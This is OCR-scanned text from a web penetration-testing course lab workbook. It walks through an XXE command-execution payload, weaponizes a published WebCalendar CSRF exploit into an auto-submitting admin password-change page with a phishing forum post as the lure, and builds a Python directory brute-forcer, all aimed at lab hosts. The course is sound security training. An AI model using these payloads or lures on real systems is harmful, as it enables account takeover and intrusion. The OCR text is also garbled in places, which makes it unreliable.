<tr=<td=<a href=http://dvwa.sec542.org>DVWA</a></td></tr>
<tr><td rowspan=4>542.4</td><td><a href=https://www.sec542.org/guide/index.html>XXE</a

v Terminal - student@Security542: ~ - # o

<tr><td rowspan=4>542.3</td><td><a href=https://sec542.org/mutillidae>Mutillidae</a></"

+ Use an XML external entity to run the id command (or any command of your choice).
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Solution

T-use gedit toedit /home/student/guide5.xmLl andchange this line:

>1>
2. Change it to:

<!ENTITY xxe SYSTEM "expect://id" >]>

guide6.xml

Open ~ E‘ =

?xml version="1.0"7>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>
<entry>

<subject>&xxe;</subject>
<category>Planets</category>
<text>Mostly harmless.</text>

</entry>

3- Use Gear Icon -> Save As... -> /home/student/guide6.xml tosave the file.

4 Then type the following €Ur L command in a different terminal to send the XML fileto Xm' . php :

curl -d@/home/student/guide6.xml http://www.sec542.0org/guide/xml.php

Terminal - student@Security542: ~

Fle Edit View Terminal Tabs Help
[~]1% curl -d@/home/student/quideb.xml http://www.sec542.org/guide/xml.php

Thank you for your Hitchhiker's Guide to the GalaXXE Submission!!<br=<br>Your en
try:<br><br>Subject: uid=33(www-data) gid=33(www-data) groups=33(www-data)
<br=Category: Planets<br>Text: Mostly harmless.<br>

-15 1
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Exercise 5.1 - CSRF
Objectives |

Objectives

* Investigate a real-world CSRF flaw found in WebCalendar
+ Understand key components of CSRF exploitation

» Tweak and weaponize a PoC exploit

Lab Note

The WebCalendar CSRF flaw was published by @hyp3rlinx (http:/hyp3rlinx.altervista.org/).

Here is the Proof-of-Concept (PoC) CSRF code created by @hyp3rlinx; we will use this as the basis for our exploit (with some changes
and additional code):

1) CSRF Protection Bypass to change Admin password PoC. Note: Name of the victim user is required for success.

<meta name="referrer" content="none'">

<form id="CSRF" action="http://localhost/WebCalendar-1.2.7/edit_user_handler.php"
method="post">

<input type="hidden" name="formtype" value="setpassword" />

<input type="hidden" name="user" value="admin" />

<input name="upasswordl" id="newpassl" type='"password" value="123456" />

<input name="upassword2" id="newpass2" type="password" value="123456" />

</form>

1. The first section of this lab includes a step-by-step walkthrough for creating PoC code for the WebCalendar 1.2.7 CSRF
vulnerability.

2. The second section of the lab weaponizes the CSRF exploit. This section has three tracks:
« Challenge (no hints)
+ Some hints
« Full walkthrough

3. Plus, there is a bonus challenge at the end: Lowering the security of the site by changing the WebCalendar public access option via
CSRF.
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Note

HTTP referers are spelled two ways during this exercise. During 542.1 we noted (on the 'HTTP/1.0" slide) that RFC 1945 spells
referer with three 'R's (and that is how it is spelled in the client header; you may check a request in ZAP or Burp to verify). So,
Security 542 uses that spelling when discussing referers, as do most books and resources that discuss HTTP.

However: HTML5 (and DOM) use 'referrer' (with four 'R's). This lab uses this HTMLS5 option:

<meta name="referrer" content="no-referrer">

Attentive students may notice the use of both spellings during this lab. While it may be a bit confusing, it is correct.

Launch Zap

1. Launch ZAP by clicking the ZAP icon in the upper panel at the top of the screen:

Note
ZAP takes a while to launch, roughly 10 seconds or so. Many students end up accidentally launching ZAP two or three times

during the delay. Run one instance of ZAP only.

Multiple instances of ZAP are running if you see this warning:

" 3

v

Q Proxy port 8081 was in use. Try: 8082

Yes No

n this case, close the additional ZAP instances, leaving the original. When in doubt, close all ZAP instances and start over.

Warning

ZAP must be listening on port 8081 for this lab to work.

2. After ZAP starts, launch Firefox by clicking the Firefox icon in the upper panel.
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3. Configure Firefox to use the running proxy.

4. In Firefox, select ZAP from the proxy selector drop-down:

n @ e
«" [Direct]
O [System Proxy]
@ Burp Community
Burp Pro
Zap
Y localhost ~

/ Options

Note

Always use the proxy selector to manage Firefox's proxy settings. Do not use other methods.

PoC: Step 1

1. In your Firefox browser, go to https://sec542.org/webcalendar/login.php.

Note

You must have Firefox set to proxy via ZAP before logging into WebCalendar. If you start ZAP later, you will have to log in again
(via ZAP) for the rest of this section to work correctly.

2. Login:

* Username: student
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+ Password: Security542

+ Also, check Save login via cookies so | don't have to login next time

3. Click Login.

Username: ismdent |

' Save login via cookies so | don't have to login next time

. Login |

4. Then go to Settings -> My Profile (in the upper-left corner of the calendar).

My Calendar Events Views Seftings Search Help

December 2[@ Assistants
Sun Mon Tue Wed
-4 Categories

@) a4 s 67 Layers

) 11 12 13 14 My Profile
(1) 18 19 20 21 _ Preferences
(52) 25 26 27 28 29 30 31

Note

During this lab, you will still need to log in again, even when "Save login via cookies so | don't have to login next time" is set. This
is because our first attempt to test the PoC code will fail, and also trigger the user to be logged out. No worries: We will resolve

this issue with the second PoC attempt (and also learn why the first attempt failed).

PoC: Step 2

1. For the PoC, we are changing our password to the same password, to avoid the risk of forgetting the new password and getting
locked out of the account. We will later change the admin password for real.

2. Enter Security542 under both New Password and New Password (again). Then click Set Password.
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|Account

My Calendar Events Views Seitings Search Help  Month:

Jan2018 ~ Week: | Jan14-Jan20 ~ ear:

2018 ~ |Logout Student Account

Edit User

Username: student

Change Password

New Password:

FirstName:  |Student

LastName: | Account

| New P d (again): |+«

I Tal?mqrdw

| save |

E-mail address: | student@sec542.0rg

3. Then click OK.

Changes successfully saved

Lok |

PoC: Step 3

1. In ZAP, double-click on the POST to https://sec542.org/webcalendar/edit_user_handler.php (ID number may vary).

x

File Edit View Analyse Report Tools Import Online Help

OWASP ZAP - OWASP ZAP 2100 —

standardMode ~| |7 &3 b Em

GEAEDE o0 D=4 e @ 6 P %E-Ee®@e

@ LEnE
- ﬁ‘:nntexts
[ Default Context
~ @ sites
» g https:fisec542.org
» g P https:/iffirefox. settings.servic

@ sites ;

47 Quick Start  =¢ Request ¢ Response 4=

Header: Text ~ | Body: Text b D =

POST https://sec542 org/webcalendar/edit_user_handler.php HTTP/1.1

User-Agent: Mozillas5.@ (X11; Ubuntu; Linux x85 64; rv:86.0) Gecko/20100101 Firefox/86.0

Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/webp,*/*:q=0.8

Accept-Language: en-US,en;g=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: &8

Origin: https://sec542.0rg

Connection: keep-alive

Referer: https://sec542.org/webcalendar/edit user.php

Cookie: webcalendar_session=d88a8ba7d482b3999377993cadc588a65a85a616bbabf4f52cac87193dade 77 dB8634c7ac 569967280 76!
webcalendar_login=student; webcalendar_last_view=%2Fwebcalendarf2Fmonth.php: webcalendar_csscache=2; phpbb3 grk7n_u=48;
phpbb3 grk7n_k=; phpbb3 grk7n_sid=473dd407e0df1lch9bc5e6fc4dSc9chs2; PHPSESSID=e0tc3g4c3vinnssck2uioavied
Linarade-Tnsecure-Reauests: 1

formtype=setpassword upasswordl=Securitys42- upasmnrdz:sacuritysu

= History @ Search [WAlerts | output e
® @ T Fiter: OFF ¢ Export
Id Source Reg. Timestamp Method URL Code  Reason RTT Size Resp. Body Highest Alert Note Tags 2

p et e | O e L e e e s e PR S G 2 | e bR RS TR R o)
69 == Pr.. 4/20/21, 7:39:43 PM GET https://sec542,org/webcalendar/edit user.p... 200 0K .. 2,418 bytes  Medium Form, Password,...
70 =+ Pr.. 4/20/21, 7:39:43 PM GET https://sec542. orgiwebcalendarijs_cacher.... 200 OK ... 1,425 bytes i Low
71 =5 Pr.. 4/20/21, 7:3%:54 PM POST  hit sec542 org/webcalendar/edit w200 0K . 138 bytes U Medium
72 &=+ Pr.. 4/20/21, 7:39:57 PM GET https://sec542.org/webcalendarjusers.php 200 OK ... 8,841 bytes F Medium Form, Script, Co...
73 == Pr.. #4/20/21, 7:39:57 PM GET https://sec542 org/webcalendarjjs_cacher.... 200 OK .. 5,294 bytes P Low
74 =+ Pr.. 4/20/21, 7:39:57 PM GET https:/isec542 org/webcalendarfedit_user.p... 200 OK W 2,418 bytes ¥ Medium Form, Passward,...
75 #=+Pr.. 4/20/21, 7:39:58 PM GET https://sec542. arg/webcalendarfjs_cacher..., 200 OK 6.. 1,425 bytes F Low

Alerts 0 2 6 M3 Primary Proxy: localhost:8081 Current Scans @ 0 0 @0 20 @0 o S0 %o
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9 Note the referer: Referer: https://sec542.org/webcalendar/edit_user.php.
3. This will come into play on the next page.

4. Right-click on the POST and choose Generate Anti CSRF Test FORM.

Open URLC T System Browser

= History G Search  [WaAlerts || output o= Copy URLs to Clipboard
= M Tags... i
@ @& 7 Filter: OFF @ Export ANRgEes
Mote.., | S
Id Source Req. Timestamp Method URL Delete Delete Highest Alert
69 =* Pr... 4/20/21 7:39:43PM GET https:ﬂsec542.0rgfwebcalendarfea\t_user.p.‘ Break.., o Medium
70 =+ Pr.. 4/20/21 7:39:43PM GET https:/fsec542.org/webcalendarfjs_cacher.... New Alert... | P Low
=izl Alerts for This Node i ™ Medium
72 = Pr.. 4/20/21 7:39:57 PM GET

i Medium

\nti-CSRF Test:FORM [ Low

73 ==+ Pr., 4/20/21, 7:39:57 PM GET

74 = Pr... 4/20/21, 7:39:57 PM GET o Inva ' i Medium
75 =+ Pr.. 4/20/21, 7:39:58 PM GET https:/fsec542, org/webcalendarfjs_cac Add to Zest Script » | Flow
PoC: Step 4
1. Click Submit on ZAP's CSRF Test form.
) Security542 Calendar X | %) localhost:8081/OTHER/acsrf X | =+
= C 0m l-ﬁi‘- localhost:808 1/OTHER/acsrf/other/genForm/2apir 110% e {}‘

£} Most Visited

https://sec542.org/webcalendar/edit_user_handler.php

formtype ‘ setpassword

upasswordl ‘ Security542

upassword?2 ] Security542

| Submit |

2. You should see Changes successfully saved.

Changes successfully saved

1
3. This worked... but why did it pass WebCalendar's referer check? Remember the exploit:

WebCalendar attempts to use the HTTP Referer to check that requests are originating from same server... However, this can be easily defeated by
just not sending a referer.[1]

4. It turns out that ZAP does not set a referer via the Anti-CSRF Test Form, and a blank referer also passes WebCalendar's (weak)
check.
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5 You may verify this by inspecting the new POST sent by the Anti-CSRF Test Form. Scroll to the bottom of ZAP's history window,
click on the new POST, and click on the Request tab. There is no Referer.

POST https://sec542.org/webcalendar/edit_user_handler.php HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 66

Origin: null

Connection: keep-alive

Cookie: webcalendar_session=
d88a8ba7d482b999377993cadc588a65a85a616bba6f4f52cac87193dade977fd8634c7acS69967e8c76; webcalendar_login=
student; webcalendar_last_view=%2Fwebcalendar%2Fmonth.php; webcalendar_csscache=2; phpbb3_grk7n_u=48;
phpbb3_grk7n_k=; phpbb3_grk7n_sid=473dd407e0dflcbSbcSe6fc4dScOch52; PHPSESSID=e0tc3g4c3v7mnssck2uioavied
Upgrade-Insecure-Requests: 1

Host: sec542.org

formtype=setpassword-upasswordl=Security542-upassword2=Security542

6. If you see a referer, you are probably looking at the original POST (made by the WebCalendar application). In that case, scroll down
to ZAP's post at the bottom of the history window.

7. Fun fact (for future penetration testing reference): If you save HTML to a file and click on the file, no referer is set or sent. That step
is not necessary for this lab, since ZAP does not set a referer.

8. Set your Firefox browser's proxy back to Direct.

i @
«" [Direct]

O [Sysiem Proxy]

& Burp Community
Burp Pro

@ Zap

-«

localhost -

/& Options

PoC Complete, Next Step: Weaponization

1. We will next take the PoC code, and weaponize it so that another user falls for our CSRF trap. All they need to do is click on our
malicious link. We will then change their password to a new one of our choice.

2. The HTML exploit code from @hyp3rlinx is available in: /home/student/Desktop/CSRF/exploit.html .
* Note: This code is not fully functional and has some bugs, see notes for details
« It will require editing and some additions to become functional (steps we will perform in this lab)
- Goal: Edit that code so that it becomes fully functional (aka weaponized)

« Plan: Trick our victim into clicking on a fake video link
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* There is no video, we will instead change their WebCalendar password
3. Double-click on /home/student/Desktop/CSRF/exploit.html .

4. Here is what displays in Firefox:

/home/student/Desktop/CSRF/ex: X | +

= C & [G) file:fifhome/student/Desktop/CSRF/exploit.html
£} Most Visited

Note

There is no submit button or any direct way for the user to send the POST. Also, note that the password boxes are filled in. We

certainly don't want our victim to see those!

5. There's also a bug in the HTMLS referer setting. The meta-name="referrer" content value should be setto no-referrer

instead of none . We will address these issues (and more) during this lab.

6. The no-hints challenge section begins next.

Challenge

Notes

Students who have performed web development in the past may be able to complete this challenge with no hints; the rest will need
hints and/or the walkthrough.

/var /www/html/video.html maps to https://sec542.org/video.html when accessed via a browser.

Attacker's Turn

*Copy /home/student/Desktop/CSRF/exploit.html to /var/www/html/video.html.
* Edit video.html.
+ Change the site:

« From: http://localhost/WebCalendar-1.2.7/edit_user_handler.php

« To: https://sec542.org/webcalendar/edit_user_handler.php.

+ Hide all form fields.
« Fix any bugs.
+Add a submit button.

« Or better yet, automatically submit the form using JavaScript.
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+ Go to https://www.sec542.org/phpbb and log in.

« Firefox Exercises toolbar -> phpBB
* Username: student

+ Password: Security542

Login

Username: “ |

Password:

| forgot my password

| Log me on automatically each visit
Hide my oniine status this session

+ Create a new topic in the Breaking InfoSec News forum.

+ Use your best social engineering skills to create a convincing title, post, etc.

* Link to https://sec542.org/video.html.

phpB ; ::S:Ez:;‘:inphpBB board

ereating ® communities

{% Board index « Breaking InfoSec News

Breaking InfoSec News
NEWTOPIC% | Q& Search this forum...

« Close Firefox.
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Some Hints

« A full walkthrough begins in the next section.
* /home/student/Desktop/CSRF/exploit.html hasanHTMLS5 bug and is also missing functionality, including a way to POST the form.
* We previously created /home/student/ Desktop/ poc. html during the PoC phase of this lab, which has all required functionality, except setting the referer.

* Combine elements from both scriptsinto /var /www/html/video.html .
« This will make the script fully functional.

* Hide the password fields by adding type=h'i dden to the two lines of HTML referencing passwords.

* Remember to change the sitein @eXploit.html

« From: http://localhost/WebCalendar-1.2.7/edit_user_handler.php
+ To: https://sec542.org/webcalendar/edit_user_handler.php,

« Spoiler alert: Additional code (including how to add a submit button, plus how to auto-submit via JavaScript) is in the notes below

Notes

The exploit referer setting has an HTML5 bug, here's the correct code:
<meta name="referrer" content="no-referrer">
This code will add a submit button:
<button onclick="document.getElementById('CSRF').submit()">Submit</button>
It requires that the form ID be called CSRF (type as one long line):
<form id="CSRF" method="POST" action="https://sec542.org/webcalendar/edit_user_handler.php">

This requires the victim to actually click submit. You are probably thinking, "not very stealthy." Agreed, so here's code to auto-
submit via JavaScript (replace the button onclick line with):

<body onload="setTimeout(function() { document.CSRF.submit() },5)">
This also requires the "name" to be set to CSRF (type as one long line):

<form id=""CSRF" method="POST" action="https://sec542.org/webcalendar/edit_user_handler.php"
name="CSRF'">

In our testing, we discovered that the order of the form options in the code above is important when using JavaScript, so please
put the options in this order (with name="CSRF" at the end).

The name/id CSRF is arbitrary (you may change it), but it must be consistent throughout your code.
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Solution

1. Open a terminal and type the following:

sudo gedit /var/www/html/video.html

2. Here is the code. Note the code below has word wrapped longer lines due to space restrictions. Please type each line continuously, as shown in the screenshot above. Note: We have

stashed a copy of the completed filein: /home /student/Desktop/CSRF/video.html.answer .html (in case youneed help typing the HTML).

3. Type the code below:

<meta name="referrer" content="no-referrer'">

<form id="CSRF" method="POST" action="https://sec542.org/webcalendar/
edit_user_handler.php">

<input type="hidden" name="formtype" value="setpassword">

<input type="hidden" name="user" value="admin">

<input type="hidden" name="upasswordl" id="newpassl" type="password" value='"123456">
<input type="hidden" name="upassword2" id="newpass2" type="password" value="123456">
</form>

<button onclick="document.getElementById('CSRF').submit()">Submit</button>

*video.html

Qpens m Ivar/wwwi/html Save ml = X
<meta name="referrer" content="no-referrer"> ‘
<form id="CSRF" method="POST" action="https://sec542.org/webcalendar/edit user handler.php">
<input type="hidden" name="formtype" value="setpassword">
<input type="hidden" name="user" value="admin">
<input type="hidden" name="upasswordl" id="newpassl" type="password" value="123456">
<input type="hidden" name="upassword2" id="newpass2" type="password" value="123456">
</form>
<button onclick="document.getElementById('CSRF').submit()">Submit</button>

| U

HTML v TabWidth:8 » Ln 10, Col 1 v INS

4- Click the Save button and exit gedit .

5. You may also choose to copy /home/student/Desktop/CSRF/exploit.html to /var/www/html/video.html and edit that file, which

may save you some time. It's your choice: If you choose this route, please check your work carefully, as we changed a number of elements of the original exploit.

Note

This is the 'manual POST' version of the script, as a bonus we'll show you how to auto-submit via JavaScript at the end of the
lab.

6. Go to https://sec542.org/phpbb/ucp.php?mode=login and log in.
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Login

Username: ]|

Password:

| forgot my password

! Log me on automatically each visit
|| Hide my online status this session

‘Username: student

*Password: Security542

7. Click on the Breaking InfoSec News forum.

BREAKING INFOSEC NEWS
Breaking InfoSec News

The latest information from the InfoSec world.

o]

. Then click New Topic.

Breaking InfoSec News
NEWTOPIC# | (Q, search this forum... || Search]

9. Here is example text. Feel free to freestyle on the subject and message, but be sure to use the proper syntax for creating a link, which is
[url]lhttps://sec542.0rg/video.html[/url] (notethe square bracketsaround [url] and [/url]).

10. Create the post shown below:

Subject: Check out this amazing video!

Watch this hacker steal millions of dollars from a major online bank!
[url]lhttps://sec542.0rg/video.html[/url]

Is your account vulnerable?
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Breaking InfoSec News

POST A NEW TOPIC

Topic icon: @ Nore O & Oy O

Subject: | Check out this amazing video!|

B| I|U| 66| <>|E|i=|% @ %| 6 Noma 3

Watch this hacker steal millions of dollars from a major online bank!
[url]hitps:/isec542.orglvideo.html[/url]

Is your account vulnerable?

1

-

. Then click the Submit button (located at the bottom of the page) to submit the post.

Save draft| | Preview | | Submit |

12. We will now act as the victim.

+ Open Chromium (Please use Chromium!)

" New browser, signifying the victim ( admin )
+ Surf to https://sec542.org/webcalendar and log in

*Username: admin
*Password: Security542

* Open a new Chromium tab (press CtrL—T ), and surf to https://sec542.org/phpbb.

+ Don't log in; simply go to the Breaking InfoSec News forum.
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Note

Chromium has links for both WebCalendar and phpBB in the bookmarks bar below the address bar:

I Security542 - Index page X ] +

& https://sec542.org/phpbb/

f§ OMG Cute Bunny [3 The Butcher

I§ Security542 Calen.. §[§ Security542 - Inde...

Please follow the above advice and switch from Firefox to Chromium. Some students tend to move a bit quickly, miss a few
nuances, and attempt to complete the entire lab in Firefox.

Using Chromium will help signify the difference between attacker (using Firefox) and victim (using Chromium). It will also
ensure that cookies created in Firefox for the attacker (such as the cookie received after logging WebCalendar or phpBB) will
not be used by the victim.

+ Open the forum post created by the attacker and click on the link to https://sec542.org/video.html.

Check out this amazing video!
Post Reply * #& |~ | |Search this topic.. Q| &

Check out this amazing video! & | %
I by student » Thu Jun 13, 2019 8:42 pm

(19

Watch this hacker steal millions of dollars from a major online bank!

https://sec542.orglvideo.html

Is your account vulnerable?

Post Reply *5 ~ |-

« Click Submit.
hd https://sec542.org/video.html - Chromium
Security542 Calendar X (m https://sec542.org/video.html x] +
&« > C & https://sec542.org/video.html @ W

= Apps §§ OMG Cute Bunny [ The Butcher J[H Security542 Calen.. §[{ Security542 - Inde...

| Submit \

13. The CSRF attack was successful if you see Changes successfully saved.
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sec542.org says

Changes successfully saved

Note

We will automate the "submit" step via JavaScript in the bonus section next.

14. Theuser admin 's password has been changedto 123456 (assuming you followed the previous steps carefully) if you see Changes successfully saved.

Victim's Turn

Warning

If you walked through the solution above, this section is already complete.

1. We will now act as the victim.

2. Open Chromium (new browser, signifying the victim).

3. Surf to https://sec542.org/webcalendar.

* Username: admin
* password: Security542

4. Open a new Chromium tab, and surf to https://sec542.org/phpbb.
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5 Don't log in, simply go to the Breaking InfoSec News forum.

6. Click on the link to video.html .

7. The user admin 's password should now be changed.

Bonus Steps

1. Verify admin's password is changed by logging out of and logging back in to the Security542 Calendar application with the new

password.

2. If you followed the lab exactly it is:

+ Username: admin

+ Password: 123456

3. Update the /var/www/html/video.html code to use JavaScript to auto-submit the POST.

4. Full code example is below, and a copy is available in /home/student/Desktop/CSRF/video.html.answer-

javascript.html.

5. No user interaction is required after clicking on the phpBB link.

6. Here is the code that automatically submits the form using JavaScript; no user interaction is required after clicking on the link in

phpBB:

<meta name="referrer" content="no-referrer'">
<body onload="setTimeout(function() { document.CSRF.submit() }, 5)">
<form id="CSRF" method="POST" action="https://sec542.org/webcalendar/edit_user_handler.php"

name="CSRF">

<input type="hidden"
<input type="hidden"
<input type="hidden"
<input type="hidden"
</form>

name="formtype" value="setpassword'">

name="user" value="admin">

name="upasswordl" -id="newpassl" type="password" value="123456">
name="upassword2" -id="newpass2" type="password" value="123456">

OpenVH +’

video.html.answer-javascript.html _
~/Desktop/CSRF Eave a‘ G

</form=

lkmeta name="referrer" content="no-referrer"s

<body onload="setTimeout(function() { document.CSRF.submit() }, 5)"=

<form id="CSRF" method="POST" action="https://sec542.org/webcalendar/edit user handler.php" name="CSRF">
<input type="hidden" name="formtype" value="setpassword"=>

<input type="hidden" name="user" value="admin">

<input type="hidden" name="upasswordl" id="newpassl" type="password" value="123456">

<input type="hidden" name="upassword2" id="newpass2" type="password" value="123456">

HTML v  TabWidth:8 v Ln1,Col1 hd INS

7. This code is the same as the previous manual POST example, except these two lines are different:

<body onload="setTimeout(function() { document.CSRF.submit() },5)">

<form id="CSRF" method="POST" action="https://sec542.org/webcalendar/edit_user_handler.php"

name=""CSRF">
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8 The body onload linereplaces the button onclick line in the manual POST example. Note that the order of the form
options is important for this JavaScript version; it is safest to list them as shown above. We have also stashed a copy of the
completed file in: /home/student/Desktop/CSRF/video.html.answer-javascript.html.

References

[1] https://packetstormsecurity.com/files/137762/WebCalendar-1.2.7-CSRF-Bypass.html
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Exercise 5.2 - Python

Objectives

+ Write simple but powerful Python scripts that use the Requests library.
« Primer on the power of Python for web application testing.
+ Use Python to read HTTP Response headers and write them to a file.

« Write a simple directory brute forcing script.

Lab Notes

1. This exercise has two challenges, in multiple parts:
« The challenges (specific, but brief)
+ Some hints (a nudge in the right direction)
+ Complete code
2. This approach allows you to choose your own difficulty.

3. The Python code required to complete both challenges is described in the previous lecture section. Be sure to check the lecture
notes pages as well for additional hints.

Challenges

1. The Python examples in 542 are designed to be powerful but simple. We avoid complicated syntax and stick to the KISS principal
("Keep It Simple, Silly" is a polite spelling of that acronym).

2. If you find a different and/or better way of achieving the exercise goals, please share with your instructor! We often learn from
students this way and have been led to try new tools, libraries, etc., based on the recommendation of experienced students.

3. The saying "There is more than one way to do it" (TIMTOWTDI) comes from the Perl programming language, which is famous for
providing "more than one way" to do things.

4. The Zen of Python disagrees: "There should be one — and preferably only one — obvious way to do it."[1]

5. This is an ideal goal, but one that is not always executed (especially outside of the core Python code). Remember all of the Python
HTTP libraries we discussed in the previous lecture? Yup, many ways to do things.

6. The Requests library is awesome because it abstracts low-level details from the programmer-which is great, until you need to
access some nitty-gritty low-level details that have been abstracted away (for example, forcing the cipher used in an SSL/TLS
connection, which requires use of the underlying urllib3 library).[2]

Challenge #1

+ Write a Python 3 script to print the value of the Server response header from a list of web servers contained in a text file.
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* Create a text file and add these two URLs:

* https://www.sec542.org

* https://heartbleed.sec542.org

+ Read the script, loop through each entry and connect to each HTTPS server.

+ Do not verify the x.509 certs (otherwise, https:/heartbleed.sec542.org will trigger an error).

« Print the URL, followed by ": " followed by the value of the Server response header.

+ Open a terminal and start the Docker NGINX Heartbleed container by typing the following command:

/labs/heartbleed.sh

|~ Terminal - student@Security542: ~
File Edit View Terminal Tabs Help

[~1$ /labs/heartbleed.sh

Starting heartbleed nginx 1
Starting heartbleed nginx 1 ... done
Attaching to heartbleed nginx 1

+ Leave the command running as you perform the lab.
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Some Hints

1. Begin each script with the following code:

#!/usr/bin/python3
import requests

2. Remember to include parentheses around variables in print functions, like this:
print(variable)
3. You can add text together like this (this is an example; your text will contain different data):

fname="arthur"
lname="'dent"

print ("firstname: "+fname+", lastname: "+1lname)

4. This will print:

firstname: arthur, lastname: dent

Note

We will cite slide names (instead of slide numbers), because slide numbers often change, and we'd like to avoid
dependencies.

5. The slide titled "Putting (a Lot of) It Together" shows how to read a file into a Python list and loop through.
« The last line of that script shows how to print variables + text, etc.

6. The notes of the slide titled "So, It's Simple, Just Use Python 3, Right?" shows how to print the product string.
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Solution

/labs/heartbleed.sh

Terminal - student@Security542: ~

v

File Edit View Terminal Tabs Help

[~1$ /labs/heartbleed.sh
Starting heartbleed nginx 1
Starting heartbleed nginx 1
Attaching to heartbleed nginx 1

done

1. If you have not already done so, open a terminal and start the Docker NGINX Heartbleed container by typing the following command:

2. Leave the command running as you perform the lab.

3- Open a second terminal and create /home /student/urls.txt .

gedit /home/student/urls.txt
4. Type these two URLs in gedit:

https://www.sec542.0rg
https://heartbleed.sec542.0rg

Note

line of the file should be https://heartbleed.sec542.0rg.

Ensure that the file does not have an extra blank line at the end or you will see errors when running your python code. The last

\Open vH+’ "ﬂf'm al_ + X

challenge1.py urls.moxt

1 https://www.sec542.0rg
2 https://heartbleed.sec542.0rg

3

Plain Text v TabWidth:8 « Ln1, Col 23 - INS

5 save urls.txt in gedit andexit

import urllib3

7. Type the following command in a terminal:

350

6. Note that Python has become much more strict regarding disabling SSL checks, so we will the warnings by adding the following two lines to the script:

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
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gedit /home/student/challengel.py

8. Then enter the following code:

#!/usr/bin/python3

import requests

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

with open('/home/student/urls.txt') as f:
urls = f.read().splitlines()

for url in urls:
r = requests.get(url,verify=False)
print (url+": "+r.headers['server'])

| Open | » H + | challm:gﬂ.py save || L} | - + x

1 #!/usr/bin/python3]

2 import requests

3 import urllib3

4 urllib3.disable warnings(urllib3.exceptions.InsecureRequestWarning)
5

6 with open(’/home/student/urls.txt') as f:
7 urls = f.read().splitlines()

8

9 for url in urls:

18 r = requests.get(url,verify=ralse)

11 print (url+": "+r.headers['server'])

Python3 v TabWidth:8 « Ln1,Col 19 ¥ INS

9- A copy of the completed script, with additional comments added, is in /home/student/Desktop/python/challengel.py .

10.save /home/student/challengel.py in gedit andexit.

11. Then make the script executable by typing the following in a terminal:

chmod 755 /home/student/challengel.py

12. Type the following:

/home/student/challengel.py

13. If you have performed the following steps carefully, you will see this output:
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" Terminal - student@Security542: ~ - 4+ X
File Edit View Terminal Tabs Help

[~1% export PYTHONWARNINGS="ignore:Unverified HTTPS request"
[~]1% /home/student/challengel.py

https://www.sec542.org: Apache/2.4.29 (Ubuntu)
https://heartbleed.sec542.0rg: nginx/1.11.13

~1s i

Challenge #2

1. There is a 'secret' three-letter directory at http:/www.sec542.org.

2. Goal: Use Python 3 to write a 'true’ directory web brute forcing script, and discover all three-letter directory names (lowercase) at

http:/www.sec542.org.

3. Discover http://www.sec542.org/aaa/ (and all combinations in between).

Notes

You may be wondering: why not four characters, or five, or six...?

Those will also work fine, but each additional character requires 26 times more requests (and will take roughly 26 times more
seconds to complete). So, brute forcing four characters would require 456,976 requests, five characters would require
11,881,376 requests, six characters would require 308,915,776 requests, etc.

For this Proof-of-Concept lab: 3 characters will complete in minutes or less, depending on your host CPU and RAM, VM RAM,

etc.

Here are the timing metrics on a 2015 MacBook Pro with 16GB of RAM and a 2.8 GHz Intel Core i7 CPU, using VMware Fusion
to run the Security542 VM. (Remember: Your mileage may vary, depending on your host hardware.)

* Three characters: 20 seconds
« Four characters: 9 minutes (equal to 540 seconds, and the laptop CPU fan began to crank)

- Five characters: 3 hours, 44 minutes, and 53 seconds (equal to 13,493 seconds, and adding 1.5 gigabytes of Apache log
files)

We also tried brute forcing three characters vs. an Internet web server (instead of locally via the VMware host-only adapter),
which was much slower (~19 minutes to complete, compared to 20 seconds locally), but still quite practical.
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Some Hints

1. Begin each script with the following code:

#!/usr/bin/python3
import requests

2. Remember to include parentheses around variables in print functions, like this:
print(variable)

3. You can add text together like this (this is an example; your text will contain different data):

fname="arthur"
lname="'dent"
print ("firstname: "+fname+", lastname: "+1lname)

4. This will print:

firstname: arthur, lastname: dent

Notes
We will cite slide names (instead of slide numbers), because slide numbers often change, and we'd like to avoid
dependencies.
These hints are descriptive, and not actual code.
*Use /usr/bin/python3 .
« Import the Requests library.
* Import ascii_lowercase from the Strings library.
« Create three nested loops, adding 3 characters in the third loop to create a directory variable.

 Check http://www.sec542.org/directory.

« Print if status_code is not 404.
+ Remember to put parentheses around any print() function options (Python 3 requires this).
+ See previous lecture for all relevant syntax details.

A full walkthrough begins in the next section.

Please remember that the previous Python lecture contains code examples for every required element of these challenges. If
you'd like to challenge yourself, look back through the lecture and build the scripts based on the relevant syntax shown there.

Also, remember that editors such as gedit and vim provide helpful syntax highlighting.
We love vim and have been using it for decades because we don't know how to quit.

For the non-initiated, gedit offers a much easier learning curve.
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Solution

1. ype the following command in a terminal:

gedit /home/student/challenge2.py

2. Then enter the code shown below:

#!/usr/bin/python3
import requests
from string import ascii_lowercase
url="http://www.sec542.org/"
for charl in ascii_lowercase:
for char2 1in ascii_lowercase:
for char3 1in ascii_lowercase:
directory = charl+char2+char3
r = requests.get(url+directory)
if r.status_code != 404:
print (url+directory+" : "+str(r.status_code))

’ Open | « H + ’ challelzgez.py Save || L} | - + X

challenge1.py urls.oxt ‘ challenge2.py

1 #! /usr/bip/python3

2 import requests

3 from string import ascii lowercase
4 url="http://www.sec542.org/"

5 for charl in ascii lowercase:

6 for char2 in ascii lowercase:

7 for char3 in ascii lowercase:

8 directory = charl+char2+char3

9 r = requests.get(url+directory)

10 if r.status code != 404:

11 print (url+directory+" : "+str(r.status code))
Python3 v TabWidth:8 « Ln1,Col10 -

3. A copy of this script, with additional comments added, isin /home /student/Desktop/python/challenge2.py .

4save /home/student/challenge2.py in gedit andexit.

5. Type the following in a terminal:

chmod 755 /home/student/challenge2.py
/home/student/challenge2.py
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b Terminal - X
File Edit View Terminal Tabs Help

[~1$ /home/student/challenge2.py
http:‘/www.sec542.org/pwn : 200

[~1%

6.y you see the content as in the preceding screenshot, you have completed this exercise successfully! Note that the details of the output (such asthe ¢ between the directory and

the HTTP status code) are not important, the main goal is to achieve the desired functionality.

